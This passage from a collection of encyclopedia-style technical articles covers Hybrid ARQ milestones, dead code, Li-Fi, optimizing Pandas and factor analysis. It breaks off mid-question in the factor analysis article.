1983. \n\n1984\n\nIn a survey paper on ARQ, Lin et al. name the main **types of HARQ**: Type-I and Type-II. This example shows that this sort of naming was current by the mid-1980s if not earlier. \n\n1985\n\nChase proposes **code combining** in which multiple receptions are weighted and combined to offer better error correcting capability. The method does maximum-likelihood decoding and soft-decision packet decoding. The original packet uses a half-rate convolutional code but with every retransmission, the effective code rate drops. \n\n2003\n\nCheng et al. propose **adaptive incremental redundancy** in which channel state information can be used to adapt the modulation and coding for each retransmission. They analyze this for a Release 5 3G/UMTS system and find that up to 25% improvement in system throughput can be obtained under certain conditions. \n\nSep  \n2005\n\n3GPP publishes Release 6 of 3G/UMTS specification. In poor channels where ACK/NACK feedbacks are not coming through (such as for UEs at the cell edge), a variation called **autonomous or blind HARQ** is employed. The sender transmits multiple versions of the packet without waiting for ACK/NACK. \n\n2015\n\nKuhn et al. consider many variants of TCP over 4G satellite links in their simulations. They find that in poor channel conditions, HARQ provides up to 22% higher throughput compared to other reliability schemes regardless of the TCP variant used. \n\n2016\n\nSassioui et al. analyze the interplay between AMC and HARQ. They note that in fast-fading channels HARQ is beneficial only at low SNR and counterproductive at high SNR. In such cases, ARQ at a higher layer is sufficient. In slow-fading channels, throughput gains due to HARQ are moderate particularly when AMC ignores the presence of HARQ. \n\n2021\n\nNadeem et al. study the effectiveness of HARQ for 5G's URLLC use case. Whereas we have large packets in eMBB use case, HARQ for URLLC has to be analyzed in the Finite Blocklength (FBL) regime. They present results for AWGN and Rayleigh fading channels.","meta":{"title":"Hybrid ARQ","href":"hybrid-arq"}}
{"text":"# Dead Code\n\n## Summary\n\n\nDead code is any code that's never executed, or if executed, the execution has no effect on the application's behaviour.  \n\nDead code adds unnecessary complexity to the codebase. It makes the codebase more difficult to understand and maintain in the long run. It impacts performance and security. In some cases, due to poor software engineering practices, dead code can \"come back to life\" and cause catastrophic failures. It's therefore recommended to remove dead code. \n\nTools and techniques are available to help developers get rid of dead code. But developers tend to leave them around rather than remove them. It's been said that, \n\n> Deleting dead code is not a technical problem; it is a problem of mindset and culture.\n\n## Discussion\n\n### What's the definition of dead code?\n\nDead code is any code that has no effect on the application's behaviour. This is a simple and useful definition. Looking into the details, we identify some alternatives to this definition.\n\nCode that is unnecessarily executed is called **redundant code**. This would include variable assignments or function returns that are subsequently never used. A subset of this may be called **partially dead code** that refers to code that's essential only on some program paths.  \n\nCode that can't be reached or executed on any program path is called **unreachable code**. This could happen if there's an unconditional function return and there's code that follows the return statement. Code that's commented is another example. A superset of this is **unused code** that could be executed but it's not executed because the user never triggers it. \n\n\n### What are the different types of dead code?\n\nDead code can be of the following types: \n\n    + **Dead Types**: Types are defined but not used anywhere. This includes types used by only other types but the latter themselves are not used anywhere. Public types should not be considered dead since they maybe called by client code.\n    + **Dead Methods**: Like dead types but applicable for methods.\n    + **Dead Fields**: Unused fields or fields that are only initialized but not used anywhere in the code. Dead fields include attributes of classes common in object-oriented programming languages.\n    + **Dead Parameters**: Maybe considered as a special case of dead fields. For example, a function accepts four parameters but only three are used by the function.Since public types, methods and fields could be called by client code, we don't consider them as dead during static analysis or compilation. However, a linker can still identify dead code and remove them if they see that client code is not calling them. An example of this is *R8* code shrinker that developers use in Android projects. \n\n\n### What problems can dead code cause?\n\nDead code introduces unnecessary **complexity** and confusion. People who maintain code are usually not the same as those who created it. With dead code around, it's hard to know what's safe to delete or update. Developers may even maintain dead code (and their test cases) without realizing that it's a waste of effort. From a design perspective, dead code increases or preserves coupling among classes. This in turn makes code refactoring more difficult. \n\nDead code takes up extra **space**. Program size is larger and so too its runtime footprint. \n\nDead code that executes without changing application's functional behaviour but may affect **performance**. CPU cycles are spent in executing redundant code. \n\nDead code that hasn't been touched for a long time may also contain **security** issues that could be exploited by hackers. It's smarter to delete such code than maintain it. \n\nA **patent** is infringed only if the code that implements the claimed invention actually executes. Therefore, patent holders will have a weaker case if some of their code is dead. This is yet another reason to identify dead code. \n\n\n### Could you share some real-world instances of dead code?\n\nA high-profile example is that of Knight Capital Group that lost $440 million in a single day on the NYSE due to dead code. This happened on August 1st, 2012 though the dead code had been unused since 2003. The problem was triggered because a dead feature flag was repurposed for some new code. This unintentionally activated the dead code that had been designed for only test environments. The codebase had also been refactored without adequate regression testing. Moreover, deployment was done manually without a proper reviewal process. \n\nIn 2014, Apple fixed a security vulnerability that was attributed to a copy-paste edit that lead to dead code. A duplicate line of code allowed an attacker to bypass an authentication check, which became dead code. Static code analysis would have caught this problem. Informal peer review, formal code inspection, test coverage (line and path coverage) and training developers are other ways this could have been prevented or caught earlier. \n\n\n### Why do we have dead code?\n\nDead code arises due to **software maintenance** and **software aging**. For example, a new fragment of code might make another code fragment dead. Developers are either unaware of this or think that such code may be needed again someday. When software ages, dead code due to obsolete features is a common reason. \n\nWhere a codebase is inherited from another company, we can have **inherited dead code**. When developers recognize the dead code, they might comment it out or add comments to flag it. They may remove it only if it's low risk and low cost. \n\nSometimes code is **created dead** with the expectation that it could be used in future. In classes, the use of getters and setters is such an example. Unclear or incomplete specifications are further reasons for dead code. Code reuse can cause dead code since not all interfaces or functions may be used. \n\nSometimes dead code is active during **testing** but not in production. Developers therefore don't consider removing it. On the contrary, lack of automated regression testing makes developers wary of any refactoring. \n\n\n### What are some tools and techniques to eliminate dead code?\n\nAn easy way to find and eliminate dead code is a good IDE. Unused files can also be removed. Unnecessary classes can be inlined. Class hierarchy can be collapsed. Eclipse, Findbugs, PMD, and NDepend are some useful IDEs or tools. \n\nLanguages such as JavaScript have good linting tools to catch dead code. For Go, Grind package can be considered. For R, there's `rco`. For Python, there's Vulture for static code analysis. Although Python is a dynamic language, Vulture can improve code quality. \n\nWhere developers suspect dead code, they can log messages. More generally, it's a good practice to log API calls. If such messages appear at runtime, we can be assured that the code is not entirely dead. However, absence of these messages in the log doesn't guarantee that the code is dead. \n\nFor JavaScript frontend code, minifiers remove dead code for production builds. Likewise, there are options to C++ compilers and linkers that eliminate dead code. These reduce program size and perhaps improve performance. However, they don't solve the problem of dead code at the source, which implies that software maintenance continues to be complex. \n\n## Milestones\n\n1970\n\nIn this decade, there's research towards better compilers, program certification and program optimization. For example, Rosen's 1977 paper titled *High-Level Data Flow Analysis* adopts directed graphs as an analysis tool. These research initiatives facilitate dead code elimination. \n\n1994\n\nBased on techniques for partial redundancy elimination, Knoop et al. present an optimal method for **partial dead code elimination**. Their method is optimal in the sense that any remaining partially dead code can't be eliminated without changing the code structure or its semantics. \n\n1998\n\nIn a book about software refactoring, Brown et al. take note of \"unused code frozen in an ever-changing design.\" They call this **lava flow**. \n\n1999\n\nMartin Fowler in his book titled *Refactoring: Improving the Design of Existing Code* identifies 22 code smells and suggests ways to remove them. However, he doesn't explicitly mention dead code as a code smell. \n\nDec  \n2003\n\nBolton and Ung file for a patent with the title *Partial dead code elimination optimizations for program code conversion*. They identify partially dead register definitions that can be eliminated towards more optimized intermediate representation of the code. \n\nNov  \n2018\n\nAs part of Android Studio 3.3 beta, Google releases **R8** for code shrinking. With R8, APK size reduces. R8 gets rid of unused code and resources. It also does code minification to save space. Proguard is another tool that does this but R8 does it faster while achieving similar results. \n\nDec  \n2020\n\nIn an analysis of code smells, dos Reis et al. include dead code as one of the code smells. From the 83 studies selected for the analysis, they find that 4.8% contain dead code. The most prominent code smell is the God Class, present in 51.8% of the studies.","meta":{"title":"Dead Code","href":"dead-code"}}
{"text":"# Li-Fi\n\n## Summary\n\n\nLi-Fi, or Light Fidelity, uses light as a medium of data communication. It comes under the umbrella of Optical Wireless Communication (OWC) that includes infrared, visible light and ultraviolet spectrum. Li-Fi uses visible light spectrum in the downlink and infrared spectrum in the uplink. \n\nLi-Fi promises to achieve data rates in excess of 100Gbps. In 2014, 10Gbps was achieved in a lab environment. A year later, Li-Fi achieved 224Gbps. These rates are many times what current Wi-Fi technology can achieve. For this reason, Li-Fi can be categorized as gigabit communication technology. \n\nLi-Fi is expected to complement cellular and Wi-Fi technologies, not replace them. While some proprietary Li-Fi products exist in the market, Li-Fi has still some way to go to become standardized and mainstream.\n\n## Discussion\n\n### Why do we need Li-Fi when plenty of wireless technologies exist today?\n\nAmong the widely deployed wireless technologies are cellular, Wi-Fi and Bluetooth. These operate in radio frequencies less than 10GHz. This RF spectrum is getting increasingly crowded, and there's a growing demand for more capacity and higher speeds. The visible light spectrum is an appealing alternative. Visible spectrum's capacity is 10,000 times larger. In fact, it's about 670THz of license-free spectrum. \n\nCellular can offer higher capacity by making cells smaller but this incurs heavy investment on infrastructure such as base station equipment and transmission towers. LED lighting is becoming common worldwide and this infrastructure can be reused for Li-Fi. This also means that off-the-shelf components such as LEDs can be used to keep costs down. In contrast, millimetre wave technology at 60GHz requires specialized components. \n\nFrom the perspective of availability, we're often asked to turn off wireless transmitting devices in aircraft, hospitals and other places where EMI can cause problems. Light is everywhere and there's no problem using it in these places. Line-of-sight and short range characteristics of Li-Fi imply better security and less co-channel interference. \n\n\n### What are some use cases of Li-Fi?\n\nApplications that require hundreds of Mbps throughput or microseconds of latency will benefit from Li-Fi. In dense urban areas, Li-Fi indoor attocells can complement cellular infrastructure. Li-Fi can be used for cellular or attocell backhauls. \n\nLi-Fi can enable Augmented Reality applications. Lighting in a museum can give rich information and interaction around exhibits. At malls, offers can be delivered via Li-Fi. Many household appliances can get connected via Li-Fi, thus enabling the Internet of Things. Li-Fi can also be used for indoor location tracking and navigation. Li-Fi can enable smart wearables. \n\nBecause Li-Fi cannot get through walls, it suits applications that require high security. Only those within the beam of the transmitter can receive data. In environments where radio waves are considered harmful, Li-Fi can be a safe alternative. Radio waves are easily attenuated underwater but this problem doesn't exist for Li-Fi. Vehicle lights can be used for vehicle-to-vehicle, vehicle-to-traffic-light communication and thereby enable autonomous driving technology. \n\n\n### What are some important technical details of Li-Fi?\n\n    + Spectrum: Visible spectrum is approximately in the range 400-700nm or 430-750THz. Spectrum above 3THz is unregulated.\n    + Bandwidth: LED BW is limited to 20MHz but system BW of 180MHz with 512 subcarriers of DMT waveform has been possible.\n    + Area spectral efficiency: At least 0.41 bits/s/Hz/m<sup>2</sup>, which is already 1000x of RF systems.\n    + Modulation: Simple methods such as OOK or PWM experience ISI at high data rates. Instead, OFDM or DMT can be used to control light intensity rather than just turning LEDs on and off. There's been significant research to make these methods unipolar. DMO-OFDM is an example.\n    + Multiple access: OFDMA is a suitable method and it's already used in IEEE 802.11 and LTE standards. An alternative method would be Wavelength Division Multiple Access (WDMA).\n    + Duplexing: Wavelength Division Duplexing (WDD) is the proposed method. Visible spectrum is used for the downlink while IR or RF spectrum is used for the uplink.\n    + Topology: Peer-to-peer, star or broadcast.\n\n### Is Li-Fi a proprietary technology or is there a standard for it?\n\nIn 2011, IEEE Task Group (TG) 7 released the 802.15.7 standard titled \"Short-Range Wireless Optical Communication Using Visible Light\". In March 2017, IEEE Task Group 13 started looking into making a new standard 802.15.13 titled \"Multi-Gigabit/s Optical Wireless Communications\". \n\nIt's been said that IEEE 802.15.7m is focusing on optical camera communications and low rate photodiode communications while IEEE 802.15.13 is for speciality networks for industrial applications. \n\nThe IEEE 802.11 is also involved in standardizing Li-Fi to complement Wi-Fi. This groups suggests that using 802.11 as the base would be a plus for mass deployment and to complement RF spectrum. \n\nMeanwhile, existing Li-Fi products and their deployments must be considered as proprietary. Any attempt to standardize Li-Fi will likely require support from patent owners.\n\n\n### How does Li-Fi stack up against Wi-Fi?\n\nWi-Fi is based on RF, which relies on electric fields to carry information. Li-Fi relies on optical intensity. RF is complex-valued and bipolar while Li-Fi is real-values and unipolar (non-negative). \n\nLi-Fi has the advantage over Wi-Fi in terms of capacity: 10,000 times more capacity. Visible light spectrum is being used for lighting but not for communication yet. Hence this spectrum is free of interference. Wi-Fi IEEE 802.11ac has a theoretical maximum throughput of about 7Gbps but practical values are at best 200Mbps. \n\nLED lighting infrastructure is already installed in many places and can be reused for Li-Fi communications. The cost of LEDs is also dropping. Moreover, solar panels can be used as Li-Fi receivers for data sent from laser stations or lamp posts. Hence Li-Fi has a better proposition in terms of cost and efficiency. Li-Fi can also be used in places such as aircraft and hospitals where EMI due to RF is usually a concern. For location-aware services, Li-Fi may complement iBeacon. \n\nLi-Fi can be seen as complementing Wi-Fi. Reasearch is ongoing regarding hybrid Li-Fi/Wi-Fi networks. \n\n\n### What are the common criticisms of Li-Fi?\n\nLi-Fi systems need to emit and capture light, implying that they can't be used at night. IR spectrum could be used at night but at the expense of throughput. In bright sunlight, Li-Fi systems may not work that well due to light interference. Li-Fi has limited range and requires line-of-sight. However, the use of OFDM along with M-QAM can enable non-LOS communications. Concerns about lower LED energy efficiency when used for Li-Fi have been dispelled. \n\nWhile Harald Haas has claimed that existing lighting infrastructure can be used, the reality is that LEDs come in many varieties and there will be compatibility issues with Li-Fi adapters. Moreover, electrical wiring will need to be converted to network wiring for the transmission of data. Consumer devices will need to be replaced to handle Li-Fi signals. \n\nFor immediate adoption, a temporary issue is that Li-Fi is not a mature technology and the standards are not yet in place. When Li-Fi last mile is achieving hundreds of gigabits per second, backhaul infrastructure also needs to scale equivalently. However, backhauls reaching a few terabits per second have been reported. \n\n\n### What are essential components of Li-Fi?\n\nLi-Fi uses LEDs as transmitters and photodetectors/photodiodes as receivers. The former can be phosphor-coated LEDs or RGB LEDs. For receivers, photodiodes can be p-intrinsic-n (PIN) photodiodes or avalanche photodiodes (APD). Off-the-shelf components can be used for these but they need to be driven by signal processing firmware to make them communicating devices. Recent advancements include Resonant Cavity LEDs and MicroLEDs that achieve higher data rates. LEDs have a trade-off between output power and optical efficiency. To solve this, Laser Diodes (LD) have been proposed to target more than 100Gbps data rates. \n\n## Milestones\n\nAug  \n2003\n\nJapanese researchers report the use of white LEDs to transmit information at 400Mbps while also serving the primary purpose of indoor lighting. \n\nNov  \n2003\n\nThe Visible Light Communications Consortium (VLCC) is established, comprising of major companies in Japan. The aim is to provide communication capability through LED lightings. \n\n2006\n\nOFDM is first used for VLC since the high crest factor that's usually a problem for radio communications is not an issue for VLC when intensity modulation and direct detection is used. \n\n2009\n\nScottish Enterprise funds a project named \"D-Light\". Project work begins in January 2010 at the University of Edinburgh. Project objectives mention the use of off-the-shelf LEDs to achieve 100Mbps under normal lighting, BER of 10E-4, 1-4m range and real-time signal processing. Thus, the project has a strong practical rather than academic focus. \n\nJul  \n2011\n\nAt TEDGlobal event, Harald Haas coins the term *Li-Fi*, which stands for *Light Fidelity*. He explains four limitations with radio communications: capacity, efficiency, availability, security. He claims that Li-Fi overcomes these limitations. A few months later, D-Light project member Gordon Povey announces that project goals have been met with a measured data rate of 102.5Mbps. \n\nOct  \n2011\n\nThe Li-Fi Consortium is launched to promote Optical Wireless Communications (OWC). While Visible Light Communications (VLC) considers only the visible spectrum, OWC includes infrared as well. \n\n2012\n\nItalian researchers achieve 1Gbps data rate using Discrete Multitone (DMT) modulation. \n\nFeb  \n2015\n\nResearchers at the University of Oxford report Li-Fi speed of 224Gbps by aggregating six channels with each channel achieving 37.4Gbps. \n\nSep  \n2015\n\nHarald Haas demonstrates the use of solar cells as Li-Fi receivers while at the same time converting light energy to electrical energy. \n\nMar  \n2017\n\nCompany PureLiFi claims to deliver 45Mbps with its Li-Fi products. \n\nJul  \n2017\n\nIEEE 802.11 Light Communication(LC) Topic Interest Group (TIG) publishes a report on OWC. The report points out why 802.11 may be better than alternatives that other IEEE groups have proposed. This is an input to IEEE 802.11 Working Group (WG) for potential standardization of OWC.","meta":{"title":"Li-Fi","href":"li-fi"}}
{"text":"# Optimizing Pandas\n\n## Summary\n\n\nPerformance of Pandas can be improved in terms of memory usage and speed of computation. Optimizations can be done in broadly two ways: (a) learning best practices and calling Pandas APIs the right way; (b) going under the hood and optimizing the core capabilities of Pandas. This article covers both these aspects.\n\nAs a general observation, Pandas was designed for data analysis and usability. On the other hand, NumPy was designed for performance. However, there are some techniques to make Pandas more performant without sacrificing its ease of use. There are also third-party libraries that build on or work with Pandas to achieve better performance.\n\n## Discussion\n\n### What's an essential approach towards performant Pandas code?\n\nPerhaps the most important rule is to avoid using loops in Pandas code. Looping over a Series or a DataFrame processes data one item or row/column at a time. Instead, operations should be **vectorized**. This means an operation should be performed on the entire Series or DataFrame row/column. Developers should think of all operations as matrix computations that can be parallelized. \n\nThe worst or slowest approach is to use `df.iloc[i][j]` within a `for` loop. A slightly better approach is to use `df.iterrows()` that returns a tuple containing a row index and a Series for the row. Even better is to remove loops completely and use `df.apply()` that takes as first argument a function that's applied to each row or column. This internally uses Cython iterators. \n\nBy far, the best approach is to use vectorization. For example, if `addr` is a Series containing addresses, `addr.str.upper().str.replace('.', '')` is applied to all items \"at once\". Register size and the computer's instruction set determines how many items can be parallelized. \n\n\n### For data manipulation, what are some techniques for faster code?\n\nIndices are commonly used in Pandas for lookup or merging two datasets. It's faster to **merge based the index**. For example, `listings_.merge(reviews_, left_index=True, right_index=True)` is faster than `listings.merge(reviews, on='listing_id')`, given that `reviews_ = reviews.set_index('listing_id')` and `listings_ = listings.set_index('listing_id')`. \n\nWhen chaining multiple operations, the order is important. For example, it's faster to **filter first and then merge**. Thus, `listings.merge(reviews[reviews[listing_id].isin(listings[listing_id])], on='listing_id')` is faster than `listings.merge(reviews, on='listing_id')`. \n\n\n### What are some best practices for handling datetime data type?\n\nIn general, adopt vectorization over explicit loops. If this is not possible, prefer `df.apply()`, `df.itertuples()` or `df.iterrows()` in that order. \n\nIf datetime values are stored as object data type, use `pd.to_datetime()` method to convert to datetime type. Explicitly passing `format` argument to this method speeds up the conversion. \n\nIn electricity billing, suppose different tariffs are applied based on time of the day. We can use `df.isin()` to selectively apply the tariff to data subsets. An even better way is to use `pd.cut()`. We can reduce execution time further by converting data to NumPy arrays. In this example, it's also convenient to use the datetime column as the index. \n\n\n### What are some techniques to improve Pandas performance?\n\nThere are a few known techniques to speed up Pandas:\n\n    + **Cython**: Cython is a superset of Python. It's Python code with additional type information. This is translated into optimized C/C++ code and then compiled as Python extension modules. Passing NumPy ndarray (rather than creating and passing Pandas Series) into Cython functions gives further improvement.\n    + **Numba**: This is a just-in-time (JIT) compiler. With a few annotations to Python code (`@numba.jit`, `@numba.vectorize`, etc), runtime performance can come close to C/C++ or Fortran. There's support for both CPU and GPU hardware. However, as of Numba v0.20, optimizations work on NumPy arrays and not Pandas objects.\n    + **`eval()` and `query()`**: For datasets larger than 10,000 rows, `pandas.eval()`, `DataFrame.eval()` and `DataFrame.query()` evaluate expressions faster. Only some expressions can be optimized. For example, `is`, `lambda`, `yield`, comprehensions and generator expressions can't be optimized. Package *numexpr* needs to be installed.Pandas User Guide documents all the above techniques with useful code examples.\n\nParticularly for large datasets, Pandas official documentation recommends *numexpr* that uses multiple cores, smart chunking and caching; and *bottleneck* that uses Cython routines to speed up some types of `nan` evaluations. \n\n\n### How does Pandas compare against NumPy in terms of performance?\n\nNumPy is faster than Pandas because most of the calculations happen using precompiled optimized C code. Although Pandas makes use of NumPy, it does a lot of housekeeping: tracking data types and indices, and checking for errors. This makes Pandas slower than NumPy. Therefore, one way to speed up Pandas code is to convert critical computations into NumPy, for example by calling `to_numpy()` method. \n\nOne study on selecting a data subset showed NumPy outperforming Pandas by 10x to 1000x, with the gains diminishing on very large datasets. Regardless of DataFrame size, Pandas paid an initial penalty 1ms. Similar results were seen when taking square root of numbers. \n\nWithin NumPy, operations within an array are faster than operations that span multiple arrays. Thus, `a1 + a2` is slower than `np.sum(a_both, axis=1)` if we reorganize the data as `a_both[0, :] = a1` and `a_both[1, :] = a2`. \n\n\n### How do I deal with large datasets in Pandas?\n\nPandas does in-memory analytics, which makes it difficult to handle large datasets that don't fit in system memory. One approach is to **load less data**, such as loading only columns needed for analysis. For example, `pandas.read_csv()` has argument `usecols` to do this. \n\nUse **efficient datatypes**. Text data of low cardinality are those with lot of values but only a few unique values. Storing each value as a complete string is memory inefficient. Instead, they should be stored as categorical data. Data with all unique values will not benefit from such a conversion. Numerical values can be downcast to smallest types using `pandas.to_numeric()`. \n\n**Chunking** is a technique to split the dataset and process in chunks. This works best when chunks require little coordination. Some methods such as `pandas.read_csv()` has argument `chunksize` to do chunking. Group-by operations are typically harder to do in chunks. \n\nWhere **complex expressions** are involved such as `(df.A < 0.5) & (df.B < 0.5)`), each sub-expression creates temporary memory. This can be avoided with `pd.eval()`, `df.eval()` and `df.query()`. This improves performance only on large datasets. \n\n\n### How does Pandas store a DataFrame under the hood?\n\nPandas groups columns of the same type into what is called a **block**. A DataFrame is actually stored as one or more blocks. Using metadata, these blocks are composed into a DataFrame by a **BlockManager**. Thus, only a block is contiguous in memory. \n\nIt's possible to inspect the blocks using `df['A'].values.base` for column A. The output will also show values of other columns in that block. To see the internal storage of all blocks, call `df._data`. \n\nReferring to the figure, slicing with `df.loc[:'2015-07-03', ['quantity', 'points']]` doesn't involve data copy since both columns are of the same data type. But any cross-dtype slicing will typically involve copying. Another performance killer is appending a row to a DataFrame. This would result in reallocating memory and copying every block. Thus, it's better to concatenate two big datasets rather than append one to the other row by row. When a new column is added, block copy is deferred until an operation requires it. \n\n\n### Which third-party libraries help improve Pandas performance?\n\nIndexing involves lots of lookups. **klib** is a C implementation that uses less memory and runs faster than Python's dictionary lookup. Since version 0.16.2, Pandas already uses klib. \n\nTo run on multiple cores, use **multiprocessing**, **Modin**, **Ray**, **Swifter**, **Dask** or **Spark**. In one study, Spark did best on reading/writing large datasets and filling missing values. Pandas did best for group-by operation. An advantage of Swifter is that it decides what to use (vectorization, Pandas apply or Dask) depending on the dataset size. \n\nSwifter can also be used along with Modin. In fact, Modin partitions data in an optimal way but can work with other libraries that perform parallel execution. \n\nDask can use multiple threads or processes on a single machine or a cluster of machines. Combining **Numba with Dask** is even better. \n\nPySpark is suitable for very large datasets but Pandas offers better APIs. A suitable approach is to use **Spark with Apache Arrow**. Arrow is an in-memory columnar format that helps to efficiently transfer data between Spark and Pandas. Based on Arrow, **PyPolars** is a highly performant DataFrame library. \n\n## Milestones\n\nJul  \n2011\n\nWes McKinney, creator of Pandas, writes about **BlockManager** in a blog and explains how it works. It's the internal data structure in Pandas. A **block** is really a \"homogeneously-typed N-dimensional NumPy ndarray object\". Gluing together columns of the same type into a single block is called **consolidation**. In the early days of Pandas (0.1 and 0.2) a DataFrame was stored using Python `dict` until the BlockManager took over. \n\nJun  \n2015\n\nWith the release of Pandas 0.16.2, klib package is used to improve performance of indexing. This takes less memory and runs faster than Python's dictionary. This should not be confused with klib (first released in April 2020), a library that simplifies visualization of DataFrame. \n\nSep  \n2017\n\nMcKinney notes on his blog that Pandas requires typically **5-10 times RAM as the size of the dataset**. This is bad for analytics on large datasets. What's needed is a columnar format optimized for analytics with zero-copy access. This is where **Apache Arrow** fits in. Arrow 0.1.0 was released in October 2016. \n\nNov  \n2018\n\nAs a library for parallel computing in Python, **Dask 1.0.0** is released. Pandas DataFrame becomes Dask DataFrame whose processing can be scheduled on a multiple threads/processes of a single machine or distributed across machines. Dask takes care of the task scheduling. The release of Dask 0.2.0 can be traced to January 2015. \n\nJan  \n2020\n\n**Pandas 1.0.0** is released. This provides a number of performance improvements. We mention a few: DataFrame arithmetic and comparison operations with scalars; indexing with a non-unique IntervalIndex; initializing a DataFrame using a range; `DataFrame.select_dtypes()` uses vectorization instead of a loop; comparing a Categorical with a scalar and the scalar is not found in the categories. \n\nJul  \n2020\n\n**Swifter 1.0.0** is released. Swifter \"efficiently applies any function to a pandas dataframe or series in the fastest available manner\". If the function can be vectorized, it vectorizes it. If not, it selects the best of Pandas, Dask or Swifter apply method. Swifter can be traced to April 2018 when version 0.1 was released. \n\nSep  \n2020\n\nPackage **PyPolars 0.1.0** is released. It's implemented in Rust and uses Apache Arrow as its memory model. It supports lazy and eager evaluations. On datasets larger than 10,000 rows, it outperforms both pandas and pydatatable (another DataFrame library). \n\nJan  \n2021\n\n**Pandas roadmap** as on this date notes a few items related to performance. Apache Arrow may be explored as an in-memory array library. At the least, Pandas would interoperate better with Arrow. BlockManager and 2-D blocks are complex. They could be replaced with a simpler collection of 1-D arrays. BlockManager uses both labels and positions for indexing. In future, it might use only the latter. Where Pandas accepts user-defined functions, developers should be able to provide Numba-jitted functions.","meta":{"title":"Optimizing Pandas","href":"optimizing-pandas"}}
{"text":"# Factor Analysis\n\n## Summary\n\n\nWhen analysing data containing many measured variables, it may happen that some of the variables are correlated. This could be because they share an underlying influence or **common factor**. It would be useful to understand how these variables are correlated and seek an intuitive explanation about what's common among them. This will also simplify further analysis by reducing the dataset into fewer variables or factors. This is what factor analysis tries to achieve. \n\nA good factor is intuitive, easy to interpret, has a simple structure and lacks complex loadings. Factor analysis is in some sense an art. It's been said, \n\n> Factor analysis is not a purely statistical technique; there is always a certain amount of guesswork in it... Factor analysis is certainly a very treacherous tool in inexperienced hands.\n\n## Discussion\n\n### Could you provide an intuitive explanation of Factor Analysis?\n\nSuppose a village survey is conducted and the questionnaire includes 500 questions. This survey therefore results in a large dataset of 500 variables. However, we may discover that many of the variables are correlated. We can probably put related variables into groups such as income, education, healthcare, cleanliness, etc. These are called **factors**. Now our analysis becomes easier from many variables to fewer factors. \n\nLet's say we measure students' abilities in terms of four variables: vocabulary, grammar, arithmetic, and geometry. We can make a hypothesis that vocabulary and grammar abilities must be correlated. Likewise, arithmetic and geometry abilities must be correlated. We can therefore hypothesize two factors: language ability and math ability. Subsequent analysis on the data can either confirm or reject the presence of these factors and to what extent they relate to the variables. In fact, the factors themselves could be correlated with each other and we might identify a single factor that we can call academic ability. \n\n\n### What are latent variables and factor loadings in Factor Analysis?\n\nWhat we call factors are in fact *latent variables*. These are variables that can't be measured but in fact influence variables that are measured. \n\nThe coefficients of latent variables are called **factor loadings** with respect to a measured variable. In other words, the extent to which a variable is associated with the factor is quantitatively expressed by its factor loading. It's possible that a measured variable is influenced by more than one factor. \n\nTo give an example, when income, education and occupation are correlated, the common factor could be \"individual socioeconomic status\" (F1). On the other hand, house value, neighbourhood crimes and amenities can point to another factor \"neighbourhood socioeconomic status\" (F2). Consider a loading of 0.65 between income and F1; and a loading of 0.48 between occupation and F1. This implies that F1 influences income more strongly than occupation. \n\nAn absolute value of 0.4 or higher can be considered as a high loading. \n\n\n### What are the main types of Factor Analysis?\n\nThe two main types of FA are:  \n\n    + **Exploratory Factor Analysis (EFA)**: This is used when we wish to summarize data efficiently, when we want to know how many factors are present and their associated factor loadings. EFA is about revealing patterns in the relationships among variables.\n    + **Confirmatory Factor Analysis (CFA)**: This is used when a researcher starts with one or more hypotheses. Each hypothesis may state the presence of certain factors. Analysis on measured data must prove or disprove each hypothesis. A graphical representation of a hypothesis is called *path diagram*. CFA produces *fit statistics* that are used to confirm if data fits a particular hypothesis.**Structural Equation Modelling (SEM)** is similar to CFA but allows us to test complex hypotheses about the structure of variables. SEM may be seen as a method to do CFA. \n\n\n### What are the some methods of doing Factor Analysis?\n\nAll methods of factor analysis are looking for correlations among variables. FA is usually done in one of these ways: Principal Component Analysis (PCA), Principal Axis Factoring (PAF), Ordinary or Unweighted Least Squares (ULS), Generalized or Weighted Least Squares (WLS), Maximum Likelihood (ML). Other methods include Image Factoring (based on ULS) and Alpha Factoring. \n\nPAF is considered the conventional technique. It uses eigenvalue decomposition of a correlation matrix. ULS is considered one of the better methods. It produces the Minimum Residual (MinRes) solution. One study that compared some of these methods found that ULS gave accurate results. \n\n\n### What are some assumptions for Factor Analysis?\n\nVariables have to be correlated but there shouldn't be perfect multicollinearity among the variables; that is, one variable cannot be predicated accurately from other variables. Data shouldn't have outliers. We assume interval data. \n\nNon-linearity is not allowed but non-linear variables can be transformed to linear ones before applying factor analysis. In fact, in the discipline of statistics, factor analysis is considered as a part of **Generalized Linear Model (GLM)**. \n\n\n### Why do we do Factor Rotation?\n\nSometimes we will find that a variable has high factor loadings due to more than one factor. This makes it difficult to interpret the factors. Since factor models are not unique, factor rotation allows us to find another factor model that can perhaps be interpreted better. \n\nThere are two rotation types:\n\n    + **Orthogonal**: This uses the *loading matrix* that represents the correlation between variables and factors. In this type, the rotated factors remain orthogonal to one another.\n    + **Oblique**: This uses *factor correlation matrix*, *structure matrix*, *pattern matrix*, and *factor coefficient matrix*. In this type, the rotated factors are allowed to become correlated. Oblique rotation may be considered as a subset of orthogonal rotation. If data clusters are in fact uncorrelated, then an oblique rotation will result in orthogonal factors.There are different methods to perform these rotations. For orthogonal rotation, we have *Quartimax*, *Varimax* and *Equamax*. For oblique rotation, we have *Oblimin* and *Promax*. \n\n\n### Isn't Factor Analysis the same as Principal Component Analysis?\n\nBoth PCA and FA achieve dimensionality reduction while minimizing information loss. Both appear to use similar techniques of extraction, interpretation and rotation to reduce many variables to fewer components or factors. Yet, they are fundamentally different. \n\nPCA extracts maximum variance into the first component, then extracts maximum variance into second component, and so on. Factors in FA have no such order. Factors identify *common* variance among variables. For this reason, FA is also called **Common Factor Analysis (CFA)**. FA doesn't capture error or unique variance whereas PCA considers all the variance. \n\nIf variables are uncorrelated, PCA will still find suitable components but EFA will be unable to identify useful factors. It's been noted that as the number of variables increases (at least 40 variables), results from PCA and EFA tend to come closer. \n\n\n### Considering PCA and FA, how are variables related to components or factors?\n\nFactors cause variables. Components are aggregate of variables. \n\nIn PCA, components (C) are a linear combination of variables (Y). FA aims to identify latent variables or factors (F). Latent variables themselves can't be measured directly but are seen to cause or influence the measured variables. The extent of influence (b) is called **factor loading**. While components in PCA explain all of the variance in data, factors may not explain all the variance in a variable, thus resulting in a term that's unique (u) to each measured variable.  \n\nMathematically, \n\n$$FA:\\ Y\\_1=b\\_1F+u\\_1;\\ Y\\_2=b\\_2F+u\\_2;\\ Y\\_3=b\\_3F+u\\_3;\\ Y\\_4=b\\_4F+u\\_4\\\\PCA:\\ C=w\\_1Y\\_1+w\\_2Y\\_2+w\\_3Y\\_3+w\\_4Y\\_4$$\n\n\n### What tools are available to 